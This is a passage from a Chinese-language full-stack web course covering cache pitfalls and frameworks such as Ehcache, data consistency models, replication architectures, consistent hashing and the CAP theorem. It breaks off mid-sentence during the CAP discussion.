事实上，我们也总能看到很多技术报告里面写：平均的缓存命中率能够达到百分之九十多，可以飙到多少多少的 TPS，为此可以节约多少多少硬件成本。初看这样的设计真不错，但是很容易忽视的一点是：这样的数据是建立在足够长的时间以及足够多的统计数据的基础之上的，但是在单个时间段内，由于缓存雪崩效应，缓存命中率可以低到难以承受的地步，导致底层的数据服务直接被冲垮。

对于这种类型的雪崩，最常见的解决方法无非还是限流、预热两种：前者保证了请求大量落到数据库的时候，系统只接纳能够承载的数量；而后者则在请求访问前，先主动地往内存中加载一定的热点数据，这样请求到来的时候，缓存不是空的，已经具有一定的保护能力了。

好，我们再回到 Amazon 那个问题，当时的解决方法就是我们刚刚讲的第一种——限流。当时整个系统对于单台机器的限流已经做得比较好了，后来工程师一台一台逐步启动，每启动一台机器，就等一会，等到缓存数据填充并稳定以后，再启动下一台，这样最多也就是单台机器的所有请求全部发生了穿透，这个数量就小得多了，数据库也是可以正常负载的。

另外一个常见的缓存雪崩场景是：缓存数据通常都有过期时间的，如果缓存加载的时间比较集中，那么很可能到了某一时间点，大量的缓存就会同时过期，于是对应这些数据的请求全部落到了后面的数据库上，从而造成系统崩溃。这个问题解决起来也不难，那就是避免缓存集中写入的时间，如果无法避免，就使用一个范围随机数来均匀地分散过期时间，从而打散缓存过期对系统造成的压力。

3. 缓存容量失控

刚工作不久的时候，我参与做过这样一个系统，用户的行为需要被记录到数据库里，但是每条记录发生的时候都写一次数据库的话开销就太大了，于是有同事设计了一个链表：

用户的行为首先会被即时记录到内存链表里面去；

每 10 分钟从链表往数据库里面集中写一次数据，然后清空链表内的数据。

看起来这就像是我们在 [第 21 讲] 中讲到的 Write-Back 模式，看起来也确实可以实现需求。可是，上线没多久系统就挂掉了。那么，这样的设计有什么问题呢？

清空链表数据是使用时间条件触发的任务来完成，通过时间因素来限制空间大小，远不如通过队列长度来限制空间大小来得可靠。换句话说，如果这 10 分钟内事件暴增，链表就很容易变得非常大。这个变化范围取决于请求的上限，而不是在缓存系统自己的掌控中。

清空链表的任务，如果在执行的过程中出现了异常，甚至仅仅是处理速度受到阻塞，那就会直接导致链表数据无法得到清空，甚至越积越多。实际上，链表清空数据并写入数据库是一个耗时的异步行为，这是另一个受控性较差的点。我们在使用异步系统批量写入数据的时候，一定要考虑这个潜在的危险。

这些问题当然在明确的情况下可以得到规避，但是毫无疑问，这样的设计充满了潜在的危险。事实上，最终这样的问题也确实发生了，二者相加导致的结果是链表巨大，撑死了整个系统，OOM，系统失去响应。

因此，我们对于缓存容量的控制，最好是基于缓存容量本身来直接控制，但是考虑到某些编程语言的自身限制，比如 Java，从内存消耗的角度来实现不方便，那么就可以通过基于队列的长度来替代实现。

4. LRU 的致命缺陷

LRU 指的是 Least Recently Used，最少最近使用算法。这是缓存队列维护的最常见算法，原理是：维护一个限定最大容量的队列，队列头部总是放置最近访问的元素（包括新加入的元素），而在超过容量限制时总是从队尾淘汰元素。

我们可以用这样一张图，来解释 LRU 的工作原理：

假设用这个缓存的 LRU 队列来存储城市信息，且队列容量只有 2。

第一步，用户访问上海信息，上海节点被加入队列；

第二步，用户访问北京信息，北京节点从队列头部加入，上海相应地被往尾部推；

第三步，用户又访问上海信息，上海被挪到头部；

第四步，用户访问天津信息，从头部加入队列后，队列长度超出容量 2，因此从尾部将北京挤出缓存队列。

这看起来是个很完美的缓存淘汰算法，在队列较长时，总是能保证最近访问的数据位于队列的头部，而在需要从缓存中淘汰数据时，总是能从尾部淘汰最不常用的那一个。但是，如果用户有意无意地访问一些错误信息，就会破坏掉这个 LRU 队列中最近访问数据的真实性。

我曾经在实际项目中遇到过这样一个问题，由于搜索引擎的多个并行爬虫在短时间内访问网站并抓取一些冷门页面，这时候这个 LRU 队列中就存储了相关的冷门数据信息。接着网站活动开启的时间到了，用户量很快就上来了，这时候大量的数据访问全部穿透缓存，导致数据库压力剧增，网站响应时间一下就飙升到了告警线之上。

既然这个问题已经很明确了，那么解决就不是难事了。有多种算法可以作为 LRU 的改进方案，比如 LRU-K。就是主缓存队列排的是“第 K 次访问的元素”，也就是说，如果访问次数小于 K，则在另外的一个“低级”队列中维护，这样就保证了只有到达一定的访问下限才会被送到主 LRU 队列中。

这种方法保证了偶然的页面访问不会影响网站在 LRU 队列中应有的数据分布。再进一步优化，可以将两级队列变成更多级，或者是将低级队列的策略变成 FIFO（2Q 算法）等等，但原理是不变的。

缓存框架

鉴于缓存的普遍性，缓存框架也可以说是百花齐放。如果你在大型 Web 项目中工作过，你很可能已经用过某一个缓存框架了。下面我就针对缓存框架的两个方面进行讲解，一方面是集成方式，另一方面是核心要素。希望这部分内容，可以帮助你在考察新的缓存框架的时候，心里能有个大致可以参照的谱。

集成方式

在上一讲我介绍了 Web 应用 MVC 的三层都可以集成缓存能力，下面我们来进一步思考这部分内容。缓存功能具体怎样整合集成到 Web 应用中，每一种方式都意味着一个切入点。我认为归纳一下，通常包含了下面这样几种方式。

方式 1：编程方式

这种是最常见的方式，使用编程的方式来获取缓存数据。这种方式比较灵活，对于代码往往以 Cache-Aside 模式应用。我们以 Java 世界应用最广泛的缓存框架 Ehcache 为例，示例代码片段如下：

Cache<String, City> cityCache = cacheManager.createCache("cityCache", CacheConfigurationBuilder.newCacheConfigurationBuilder(String.class, City.class, resourcePools));
cityCache.put("Beijing", beijingInfo);
City beijing = cityCache.get("Beijing");

这里建立了一个城市的缓存，key 为城市名称，value 为城市对象，存取操作和对普通 Map 的操作相比，没有区别。

方式 2：方法注解

这种方式的好处在于，可以对方法的调用保持透明，不需要使用单独的缓存代码去分散对业务逻辑的专注。且看下面的例子：

@Cacheable(value="getCity", key="#name")
public City getCity(String name) { ... }

这种方式下，同名、同参数方法的再次调用，就可以命中缓存而直接返回。

方式 3：配置文件的注入

这种也比较常见，比如 MyBatis 在 mapper 标签中可以指定 cache 标签，通过这种方式就可以把选定的缓存框架注入到这个持久层框架中。对于指定映射的数据，再次访问时会优先从缓存中查找，这种应用方式就是前一讲我们提到的缓存应用模式中的 Read/Write-Through 模式。

<mapper namespace="..." >
  <cache type="org.mybatis.caches.ehcache.EhcacheCache"/>
  ...
</mapper>

方式 4：Web 容器的 Filter

在 Ehcache 2 中，可以配置 net.sf.ehcache.constructs.web.filter.SimplePageCachingFilter 这样一个 filter 到 Tomcat 的 web.xml 中，再配合 filter 的映射匹配参数和初始化参数，就可以实现整个请求的过滤功能。

在 Ehcache 3 中，这个类被取消了，因为它的业务性过于具体，不符合 Ehcache 的设计原则。但是，你依然可以在 filter 里面，以前面提到的编程方式很容易地实现对于完整请求的缓存。如果你对这里提到的 filter 感到陌生，可以回看 [第 12 讲] 中的“Tomcat 中配置过滤器”这部分内容。

方式 5：页面模板中的 Cache 标签

这种方式相对比较少见，有一些页面模板支持 Cache 标签或表达式语法（例如 Django 中，它被称为 Template Fragment Caching），在标签属性或语法参数中可以指定缓存的时间和条件，标签内部的 HTML 将被缓存起来，以避免在每次模板渲染时都去执行其中的逻辑。

核心要素

一个缓存框架，拥有的特性和要素可以说五花八门，可是，有一些是真正的“核心”，在缺少了以后，就很难再称之为一个“缓存框架”了。那么，有哪些要素可以称之为缓存框架的核心呢？我认为，它至少包括这样几点。

要素 1：缓存数据的生命周期管理

缓存框架不只提供了一个简单的容器，还提供了使容器中的数据进行变动的能力，比如数据可以创建、更新、移动以及淘汰。且看 Ehcache 官网上的这张示意图：

整个容器是分层的，从上到下分别为 L1 Heap、L1 BigMemory、L2 Heap、L2 BigMemory 和 L2 Disk，级别依次降低。这里面定义了几种不同的行为，来反映数据的流动：

Flush，右侧黄色的箭头，数据从高层向低层移动；

Fault，左侧绿色箭头，数据从低层拷贝到高层，但不删除；

Eviction，下方红色箭头，数据永久淘汰出缓存数据容器；

Expiration，上方烟灰色图案，数据过期了，意味着可以被 flushed 或者 evicted，但是考虑到性能，不一定立即执行这个操作；

Pinning，右上角蓝色图案，数据被强制钉在某一层，不受流动规则控制。

要素 2：数据变动规则

上面这些基本数据变动的“行为”，是属于系统侧的定义，只有它们，缓存系统是无法工作的。我们必须有规则，执行规则，才会触发上面的不同行为，引起数据真正的变动。

比如说，当一个热点数据因为最近没有访问而从 L1 Heap 挤出去的时候，Flush 行为发生了；在 L2 Disk 上的数据一直没有被访问，超过了期限，淘汰出容器。这样，这些缓存数据变动的具体行为就得到了解释，而这正是由我们预先定义好的“规则”所决定的（这里的算法不一定只是缓存队列的淘汰算法，正如你所见，淘汰可以只是多个数据变动行为中的一个而已）。

要素 3：核心 API

这里本质上反映的是缓存框架实现的时候，核心代码结构的设计。当我们把这类的代码结构设计进一步上升到规范层面，它们就可以被定义成接口，即允许不同的缓存框架可以实现同样的设计，在 Java 中，这个东西有一个官方 JSR 的版本 JSR-107。它定义了 CachingProvider、CacheManager、Cache、Cache.Entry 等几个接口。

要素 4：用户侧 API

这是指暴露给用户访问缓存的接口，比如常见的向缓存内放置一条数据的接口，或者从缓存内取出一条数据的接口。值得一提的是，我们通常见到的用户 API 都是 Map-like 的结构，即众所周知的 key-value 形式，但其实缓存框架完全可以支持其它的形式，这取决于数据访问的方式，因此这并不是一个绝对的限制。

总结思考

今天我们结合实际案例学习了缓存使用中的一些常见的“坑”，并了解了千变万化的缓存框架中一些共性的东西。希望你能够重点体会和理解缓存使用中的问题，即这把双刃剑中向着程序员和系统自己的那一刃，绕开那些已经有人踩过的坑。毕竟，失败的故事总是比成功的故事更有总结的价值。

现在，我来提两个问题，请你思考：

在你的项目中，是否使用到了缓存，在使用的过程中，是否遇到过什么问题，能否跟我们大家分享一下呢？

缓存框架我介绍了几个核心要素，但是，一个缓存框架还存在着许多的“重要特性”。那么，根据你的经验和理解，你觉得它们还有哪些呢？

好，今天的内容就到这里，对于缓存，你还有什么感悟，欢迎在留言区和我聊一聊。

扩展阅读

文中提到了布隆过滤器（Bloom Filter），它基于概率，用来判断存在性的数据结构，它的时间和空间复杂度往往远远低于一般的存在性判别算法，它对于“不存在”判断的正确率是 100%，但对于“存在”的判断存在错误的可能。想了解其具体设计原理，Bloom Filters by Example 这篇文章是一个很好的开始。

文中提到了 Ehcache 和 Spring 整合后，就可以使用注解的方式来建立方法缓存，如果你想进一步了解具体的配置方式，可以参见 Spring Caching and Ehcache example 这篇文章。

对于 JSR-107，如果你对文中介绍的核心 API 感兴趣的话，请移步 GitHub 上的 jsr107spec 项目。

23 | 知其然，知其所以然：数据的持久化和一致性

你好，我是四火。

我想你很可能已经使用过许多存储层的技术了，例如缓存、文件、关系数据库，甚至一些云上 key-value 的存储服务，但就如同我之前提到的那样，某项具体技术总是相对好学，可对于全栈知识系统地学习，也包括持久层的学习，是一定要立足于技术的基础、原理和本质的。今天，我们要讲的就是其中之一 —— 一致性（Consistency）。

数据的可用性和一致性是很多工程师几乎每天都会挂在嘴边的概念，在存储系统的技术选型上面，一致性将会是我们一个重要的衡量因素，而在持久层架构设计上面，它也将是最重要的思考维度。

数据的一致性不但是数据持久化的一个核心内容，也是学习的一个难点，希望我们一起努力，从原理上去彻底理解它，并学习一些常见的应用模式，做到“知其然，知其所以然”，我们一起把这个难啃的骨头给啃下来。

概念和背景

数据持久化，本质上就是把内存中的数据给转换并写入指定的存储系统中，这个过程是保证数据不丢失的基本方式，而这个存储系统可以具备很多种形式，可以是网络、硬盘文件，也可以是数据库，还可以是前面两讲提到的某种形式的缓存。

你也许听说过对于一致性的不同解释，而我们在谈论数据持久化的时候讲到的一致性，我认为简单来说，指的就是在存储系统中，客户端对数据的读写行为都是可以预期、符合一定规则的。这里有两个值得注意的方面：

可以预期和符合规则，而不是说读到的数据是“一致的”“准确的”或是“最新的”，是因为存在不同的一致性模型，数据对一致性遵从的程度和规则都不同，下文我会讲到。

一致性判断的视角要从客户端来看，也就是说，存储系统实际存储的数据可以在某些时候不遵从我们所要求的一致性，而只需要保证存储系统的客户端能读取到一致的数据就可以了。举例来说，某一个数据更新的过程中，对于存储系统来说，新数据其实已经写入，但由于事务还未提交，这时客户端读到的还是老数据。

我想这个概念并没有什么特殊之处，但是，这里面隐含了一个事情，就是说，为什么要有数据备份呢？

为了可用性（Availability）。

服务为了高可用，就要部署多个节点；数据为了高可用，就要存放多个备份。这里的数据，既包括数据本身，又包括数据的读写服务，这是因为：

要让数据不丢失，冗余几乎是唯一的办法，因为再好的存储介质也架不住设备老化和各种原因的破坏；

同理，为了数据访问服务能保持可用，包括保证足够的性能，必须要提供多个节点的读写操作服务，于是，我们不得不创建多个数据副本。

那么一环扣一环，如果只有一份数据，是不存在一致性问题的，因为数据自己也只有一份，没法存在不一致，但有了数据副本，一致性就成为了课题。

一致性模型

你很可能已经听说过这三种一致性模型，下面我们来分别了解一下。

强一致性（Strong Consistency）：强一致性要求任意时间下，读操作总是能取得最近一次写操作写入的数据。

注意，这里依然是从存储系统客户端的角度来描述的，即便如强一致性的限制，也只要求在读取的时候能读到“最新”的数据就可以了，至于这个在上次写操作之后、这次读操作之前，对存储系统内部的数据是否是“最新”的并无要求。我们经常使用的传统关系型数据库，比如 Oracle、MySQL，它们都是符合强一致性的。

弱一致性（Weak Consistency）：弱一致性和强一致性相反，读操作并不能保证可以取得最新一次写操作写入的数据，也就是说，客户端可能读到最新的数据，也可能读不到最新的数据。

这个“并不能保证”就有点“搞笑”了——都不确定能不能读到最新值，那它有什么用？其实它的应用也挺广泛的，最常见的例子就是缓存，比如一个静态资源被浏览器缓存起来，那么这之后只要是从缓存内取得的数据，使用者其实根本不知道这个数据是不是最新的，因为即便它实际有了更新，服务端也不会通知你。

最终一致性（Eventual Consistency）：最终一致性介于强一致性和弱一致性之间，写操作之后立即进行读操作，可能无法读到更新后的值，但是如果经过了一个指定的时间窗口，就能保证可以读到那个更新后的值。

最终一致性可能是我们日常生活中最常见的一致性模型了。比如搜索引擎，搜索引擎的爬虫会定期爬取数据，并更新搜索数据，因此如果你的网站只是刚刚更新，可能还无法搜到这个更新内容，但只要是过了一定的时间窗口，它就会出现在搜索结果中了。

数据高可用的架构技术

接下来，我们探讨互联网应用中最常见的几种架构技术，它们都是用以解决数据可用性的问题，就如同我们在上文中所提到的那样，既包括数据本身的可用性，又包括数据读写服务的可用性。

1. 简单备份

简单备份（Backup）指的就是定期或按需对存储系统中的数据全量或增量进行复制，并保存为副本，从而降低数据丢失风险的一种方式。

这是一种实现上最简单的技术，在个人电脑上极其常见，但即便在工业界，依然有大量的应用场景。比方说 Amazon RDS（将关系数据库搬到云上）的 Snapshot 技术，可以定期将所有数据导出为一份副本。在 CPU 和 I/O 等资源不成为瓶颈的情况下，因为是异步进行的，简单备份往往对存储系统读写操作的影响很小。

但是，这种方式存在存储系统的单点故障问题，一旦存储系统挂掉了，服务也就中断了，因此基本没法谈可用性。

你可能会说，可用性的话，可以给访问存储的 Web 服务器做双机备份啊。没错，但那解决的是 Web 服务器可用性的问题，并不是我们这里最关心的数据可用性的问题，数据存储依然是单点的。同时，如果什么时候存储系统挂掉了，那么只能恢复到最近一次的备份点，因此可能丢失大量的数据。

2. Multi-Master

Multi-Master 架构是指存在多个 Master（主）节点，各自都提供完整的读写服务，数据备份之间的互相拷贝为了不影响读写请求的性能，通常是异步进行的。

从图中，你可以看到，如果某一主节点对应的存储服务挂掉了，那么还有另一个主节点可以提供对应服务，因此，这种方式是可以提供高可用服务的。图中只放了两个主节点，但是其实是可以放置多个的。

关于一致性，通常情况下节点之间的数据互拷贝是异步进行的，因此是最终一致性。需要说明的是，这个数据互拷贝理论上也是可以做到同步进行的，即将数据拷贝到所有其它的主节点以后再将响应返回给用户，而且那种情况下就可以做到强一致性，不过实际却很少有这样做的，这是为什么呢？

第一个原因，显而易见，同步的数据拷贝会导致整体请求响应的时延增加。

第二个，也是更重要的原因，如果有节点异常，这个拷贝操作就可能会超时或失败，这种情况下，你觉得存储系统应该怎样对待这个错误？显然，存储系统会陷入两难的境地。

如果系统容许错误发生，不返回错误给用户，那么强一致性就无法保证，既然无法保证，那么这个拷贝过程就完全可以设计成异步的，因为既然无论如何也无法保证强一致性，这个同步除了增加时延以外，并未带来任何明显的好处。

如果系统不容许错误发生，即返回错误给用户，一致性就被严格保证了，但是这样的话，整个存储系统就不再是高可用了，因为任何一个主节点的不可用，就会导致其它任意主节点向其拷贝数据的失败，进而导致整个系统都变得不可用。我们使用多个主节点的目的就是要提高可用性，而现在这样的设计和高可用性的目的就自相矛盾了。

其实，对待这个节点间的数据拷贝错误，还有第三种方式，它结合了上述二者的优点。我先卖个关子，我们在下面 Master-Slave 的部分会谈到。

再来说说 Multi-Master 的缺陷。它最大的缺陷是关于事务处理的，本地事务（即单个存储节点）可以提交成功，但是全局事务（所有存储节点）却可能失败。它包含这样两种典型的产生问题的场景：

由于是最终一致性，那么数据丢失也是可能发生的，即在写操作成功而节点间数据拷贝还没完成的时刻，如果主节点挂掉了，那么数据丢失也就发生了，只不过丢失的数据可能相对较少，但是全局事务的完整性就无从谈起了。

如果没有节点异常，主节点 A 的事务提交成功，主节点 B 的事务也提交成功，它们是做到了对本地数据库中事务操作的原子性。可是当进行节点间数据互拷贝时，一旦这两个提交的事务发生冲突（例如修改同一条记录），它们就傻眼了，到底应该以 A 还是以 B 的事务为准？这种冲突的解决会比较复杂，而且由于发生在异步的拷贝环节，这时候用户的请求都已经返回响应了，就没法告知用户事务冲突了。

因此，当我们要实现全局事务的时候，Multi-Master 往往不是一个好的选择。

3. Master-Slave

Master-Slave 架构是指存在一个可读可写（或者只写）的 Master 节点，而存在多个只读的 Slave 节点，每当有通过 Master 的更新出现，数据会以异步的方式单向拷贝到所有的 Slave 节点上去。

这种方式和 Multi-Master 比起来，将可写的节点数减少为了一个，而允许有多个只读的节点（图中只画了一个，但实际可以有多个），这种方式比较适用互联网较常见的业务，即读远大于写的场景，而且读的可扩展性（Scalability）较强（即增加一个 Slave 节点的代价较小），而且不存在 Multi-Master 的事务冲突问题。

当然了，Master-Slave 的缺点也很明显。既然只有一个可写的节点，那么写的可扩展性就很差了；而且和 Multi-Master 一样，数据从 Master 到 Slave 的拷贝是异步进行的，因此数据存在丢失的可能。

和 Multi-Master 一样，我们当然也可以让数据拷贝变成同步进行的，但是这又存在着上文讨论过的同样的缺陷。但是，有一种介于全同步和全异步之间的缓解这个问题的方法，即“最小副本数量”，比如可能存在 5 个 Slave 节点，但是从 Master 到 Slave 的数据拷贝一旦在 2 个节点成功了，就不用等另外 3 个返回，直接返回用户操作成功。即便那 3 个中存在失败，系统也可以标记失败节点，并按照既定策略自动处理掉，而不影响用户感知。

因此，我们可以说这种数据拷贝的方法是“部分同步”“部分异步”的，既降低了数据丢失的可能，又避免了因为某个 Slave 问题而导致 Master“死等”的情况发生。

最后，值得注意的是，写现在变成单点的了，为了避免单点故障引起的服务中断，一种方式是在 Master 挂掉的时候，Slave 可以挺身而出，变为 Master 顶上去提供写的服务。但是这件事情说说容易，实际要让它自动发生却有大量的工作要做，比如，谁顶上去，以及顶上去了之后，原来以为挂掉的 Master 又活过来了怎么办，等等。

4. 其它

还有其它更为复杂的方法，一种是 2PC 或 3PC，即两阶段提交或三阶段提交，甚至采用高容错的分布式的共识算法 Paxos。这些方法能够保证强一致性，但是在实现上都要复杂许多，我在今天的扩展阅读中会介绍它们。

下面这张比较的表格来自 Transactions Across Datacenters 这个著名的演讲，这张图在互联网上流传很广。

简单说明一下，从上到下每行的含义依次为：一致性、事务支持、延迟、吞吐量、数据丢失和故障转移（指的是节点出现故障以后，其它节点可以自动顶替上来的能力）。

从中我们可以看到，没有一列能够做到全绿色，这正如我们所知道的那样，软件工程上的问题都“没有银弹”。特别是，Backups、M/S 和 MM 得益于异步的副本拷贝，能够做到低延迟，这就无法做到强一致性；而 2PC 和 Paxos 通过同步操作可以做到强一致性，却带来了高延迟。

总结思考

今天我们学习和理解了数据持久化中一致性的相关概念和实现技术，希望通过今天的学习，你能做到“知其然，知其所以然”。

现在，我来提一个问题，检验一下你的学习成果。请将下列存储系统按照“强一致性”“弱一致性”和“最终一致性”进行归类：

关系数据库

本地文件

浏览器缓存

网盘数据

CDN 节点上的静态资源

搜索引擎爬虫爬到的数据

好，今天的正文内容就到这里。如果你对一致性哈希原理了解不够透彻的话，我强烈推荐你继续学习今天的选修课堂。

选修课堂：一致性哈希

在今天的选修课堂中，我们来学习一种特殊的哈希算法——一致性哈希（Consistent Hashing）。

首先，你可以在脑海里回忆一下，什么是哈希算法。哈希算法，又被称为散列算法，就是通过某种确定的键值函数，将源数据映射成为一个简短的新数据串，这个串叫做哈希值。如果两个源数据的 hash 值不同，那么它们一定不相同；如果两个源数据的 hash 值相同，那么这两个源数据可能相同，也可能不相同。

我们在 [第 02 讲] 中谈到的数字签名，就是通过一个哈希算法，得到证书的哈希值，也就是它的“指纹”，是经过加密以后得到的。哈希是很常用的算法和技术，在后面的全栈内容中我们还会遇到。

我们有时候会使用一个特殊的哈希算法，来将每项数据都映射到某一个“位置”，从而将大量的数据分散存储到不同的位置中。哈希算法在数据量大，且单个节点（单台机器）无法处理的时候尤为有用。比如说，我们要将从 0 到 9999 这 10000 个连续自然数分散到 5 个数据存储的节点上，那我就可以设计一个基于取余数的哈希算法，做到均匀分布：

f(x) = x % 5

我们可以看到，这个函数的结果，也就是哈希值，只有 0、1、2、3、4 这 5 个，对应这 5 个节点，那么我可以根据其结果把这个 x 放到相应的节点上去。这样，每个节点就只需要存储 2000 个数。

好，这看起来是个挺好的解决办法，但是现在问题来了，由于业务的扩张，我们现在需要处理从 0 到 11999 这 12000 个数了，也就是说，多了 2000 个数。可是，节点承载的数据量已经基本到达了极限，没法再加入那么多数据了。

没问题，我们加机器吧，现在有 6 个节点了，我们就得修改这个算法：

f(x) = x % 6

嗯，这样数据还是能均匀分布。

原理上没错，可是这又带来了一个问题，就是这些已经在节点上的数据，必须要调整位置了，毕竟算法变了嘛，因此这些数所在的节点可能要改变，这个过程叫做 Rehashing。这一调整，就傻眼了，只有同为 5 和 6 的倍数的数（即只有为 30 倍数的数），不用调整位置，其它全部都要调整。也就是说，就因为加了这一台机器，29/30 = 96.7% 的数据全部都要调整位置！

这个代价显然是接受不了的，那有没有办法可以优化它呢？

当然！一致性哈希，就是一种尽可能减少 Rehashing 过程中进行数据迁移的算法。且看下面这张图：

请你把上面的圆盘想象成一个时钟，总共有 12 格（0 点到 12 点），假如说我们通过上面类似的哈希算法，把数据映射到时钟的每个格子上。因为是时钟，我们这次取 12 的余数：

f(x) = x % 12

同时，系统中总共有三台服务器，那么每台服务器就可以负责管理其中的“4 个小时”的数据。比如哈希值是 1~4 的数据（范围 B）存储在右下角的节点，5~8 的数据（范围 C）存储在左下角的节点，而 9~12 的数据（范围 A）存储到正上方的节点。

用这种方式来打散数据看起来似乎没有什么特别的对不对，别急，当我们添加新硬件，有一个新节点加入的时候，情况就不同了，请看下图：

在这种情况下，正下方有一台机器被加入，原本 5~8 点的数据被分成两部分，7~8 点的数据（C2）依然存储在左下角的原节点，而 5~6 点的数据（C1）则需要迁移到新的，也就是正下方的节点上。

你看，这种情况下，添加一个节点，只需要移动其中的一部分数据，也就是 2/12 = 1/6 的数据就行，是不是对整个系统影响就小了很多？

等等！你可能会说，这样添加了一台服务器，如果原始数据哈希计算后的分布是均匀的，经过 了添加机器的操作，节点上承载数据分布却是不均匀的——正上方、右下角的服务器分别承载了总共 1/3 的数据，而左下角、正下方的服务器却各自只需要承载 1/6 的数据。

那么，这个问题，怎么解决？如果你能想到这个问题，那非常好。

解决方法就是引入“虚拟节点”，我们根据时钟的 12 个数字，把它均匀分成 12 个区域，分别由 12 个虚拟节点负责，并且顺时针按照 Ax-Bx-Cx 这样命名。这样，在添加机器以前，每台机器需要负责 4 块数据（例如某台机器 A 需要承载 A1、A2、A3 和 A4 的数据），并且它们均匀地散布在圆环上：

好，现在添加新机器，我们只需要把 A1、B2、C3 这三个虚拟节点的数据，搬迁到新机器 D 上：

你看，同样搬迁了最少量的数据，且元盘上的数据还是均匀分布的，只是从均匀分布在 3 台机器，变成了均匀分布到 4 台机器上。当然，作为示意，我这里是把圆环分成了 12 份，实际可以分成更多的 2^n 份。

扩展阅读

关于 2PC 和 3PC，如果你感兴趣的话，可以阅读维基百科的词条，2PC 和 3PC，或者是直接阅读 The Two-Phase Commit Protocol 和 Three-Phase Commit Protocol。

关于 Paxos，算法本身比较难，如果你很感兴趣，我找了一些中文材料，我觉得 Paxos 算法详解这篇是相对讲得比较清楚的。

文中那个表格最早是来自于 Google I/O 2009 的 Transactions Across Datacenters 这个分享，后来有人上传到了 Bilibili 上，我推荐你听一下这个分享。

24 | 尺有所短，寸有所长：CAP和数据存储技术选择

你好，我是四火。

在上一讲中我们着重讲了持久层的一致性，其实，它是分布式系统的一个基础理论。你可能会问，学习基于 Web 的全栈技能，也需要学习一些分布式系统的技术吗？是的！特别是我们在学习其持久层的时候，我们还真得学习一些分布式系统的基础理论，从而正确理解和使用我们熟悉的这些持久层技术。

CAP 理论就是分布式系统技术中一个必须要掌握的内容，也是在项目早期和设计阶段实实在在地影响我们技术选型、技术决策的内容。

理解概念

我想，你已经很熟悉一致性了。今天，在一致性之后，我们也要涉及到 CAP 的另外的两个方面——可用性和分区容忍性。

1. CAP 的概念

CAP 理论，又叫做布鲁尔理论（Brewer’s Theorem），指的是在一个共享数据的分布式存储系统中，下面三者最多只能同时保证二者，对这三者简单描述如下：

一致性（Consistency）：读操作得到最近一次写入的数据（其实就是上一讲我们讲的强一致性）；

可用性（Availability）：请求在限定时间内从非失败的节点得到非失败的响应；

分区容忍性（Partition Tolerance）：系统允许节点间网络消息的丢失或延迟（出现分区）。

下面，请让我进一步说明，从而帮助你理解。

一致性，这里体现了这个存储系统对统一数据提供的读写操作是线性化的。如果客户端写入数据，并且写操作返回成功给客户端，那么在下一次读取的时候（下一次写入以前），如果系统返回了“非失败”的响应，就一定是读出了完整、正确（最新）的那份数据，而不会读取到过期数据，也不会读取到中间数据。

可用性，体现的是存储系统持续提供服务的能力，这里表现在两个方面：

返回“非失败”的响应，就是说，不是光有响应就可以了，系统得是在实实在在地提供服务，而不是在报错；

在限定时间内返回，就是说，这个响应是预期时间内返回的，而不出现请求超时。

请注意，这里说的是“非失败”响应，而并没有说“正确”的响应。也就是说，返回了数据，但可以是过期的，可以是中间数据，因为数据是否“正确”并非由可用性来保证，而是由一致性来保证的。系统的单个节点可能会在任意时间内故障、出错，但是系统总能够靠处于非失败（non-failing）状态的其它节点来继续提供服务，保证可用性。

分区容忍性，体现了系统是否能够接纳基于数据的网络分区。只要出现了网络故障，无论什么原因导致某个节点和系统的其它节点失去了联系，节点间的数据同步操作无法被“及时”完成，那么，即便它依然可以对外（客户端）提供服务，网络分区也已经出现了。

当然，如果数据只有一份，不存在其它节点保存的副本，或不需要跨节点的数据共享，那么，这就不存在“分区”，这样的分布式存储系统也就不是 CAP 关心的对象。

2. 进一步理解

如果你觉得模糊，没关系，让我使用一个简单的图示来帮你理解。

有这样一个存储系统，存在两个节点 A 和 B，各自存放一份数据拷贝。那么在正常情况下，客户端无论写数据到 A 还是 B，都需要将数据同步到另一个节点，再返回成功。比如图示中带序号的四个箭头：

箭头 ①，客户端写数据到节点 A；

箭头 ②，节点 A 同步数据变更到节点 B；

箭头 ③，节点 B 返回成功响应到节点 A；

箭头 ④，节点 A 返回成功响应给客户端。

不知道你有没有回想起 [第 23 讲] 中的 Multi-Master 架构，对，但唯一需要特别指出的不同是，节点间数据拷贝是同步进行的，需要完成拷贝以后再返回响应，因为我们需要保证一致性。

之后，客户端尝试读取刚写入的数据，无论是从节点 A 还是 B，都可以得到准确的数据：

好，这种情况下数据在 A、B 上都是一致的，并且系统也是可用的。

但是，现在网络突然出现故障，A 和 B 之间的数据拷贝通道被打断了，也就是说，分区发生了。这时候客户端再写入 A 就会出现以下情况：

你看，这时候节点 A 已经无法将数据“及时”同步到节点 B 了， 那么，节点 A 是否应该将数据写入自己，并返回“成功”给客户端呢？它陷入了两难：

如果写入并返回成功，满足系统的可用性，就意味着丢失了数据一致性。因为节点 A 的数据是最新的，而节点 B 的数据是过期的。

如果不写入数据，而直接返回失败，即节点 A 拒绝写操作，那么 A 和 B 节点上的数据依然满足一致性（写入失败，但依然都是相互一致的老数据），但是整个系统失去了可用性。

你看，我们怎么也无法同时保证一致性、可用性和分区容忍性这三者。

3. 三选二 ？

紧接着我要谈一谈对于 CAP 理论一个很大的误解——三选二。从上面对于 CAP 的描述来看， CAP 的应用似乎就是一个三选二的选择题，但事实上，完全不是这样的。

开门见山地说，在讨论 CAP 定理的时候，P，也就是分区容忍性，是必选项。具体来说，跨区域的系统，分区容忍性往往是不可以拿掉的，因为无论是硬件损坏、机房断电，还是地震海啸，都是无法预料、无法避免的，任何时间都可能出现网络故障而发生分区，因此工程师能做的，就是从 CP 和 AP 中选择合适的那一个。

你可以想想上面我拿图示举的那个例子，在分区发生的时候，最多只能保证一致性和可用性一个。也就是说，CAP 理论不是三选二的，而是二选一，当然，具体选哪个，我们需要“权衡”。

需要特别说明的是，这里说的是只能“保证”一致性和可用性二者之一，而不是说，在系统正常运行时，二者不可能“同时满足”。在系统运行正常的时候，网络分区没有出现，那么技术上我们是可能同时满足一致性和可用性两者的。

这时你可能会问，难道没有 CA，即同时“保证”一致性和可用性，而牺牲掉分区容忍性的系统吗？

有！但请注意，那其实已经不是 CAP 理论关心的对象了，因为 CAP 要求的是节点间的数据交换和数据共享。任何时候都不会有分区发生，这种系统基本上有这样两种形式：

单节点系统，这很好理解，没有节点间数据的交换，那么无论网络出不出故障，系统始终只包含一个节点。比方说，传统的关系型数据库，像 MySQL 或者 OracleDB，在单节点的配置下。

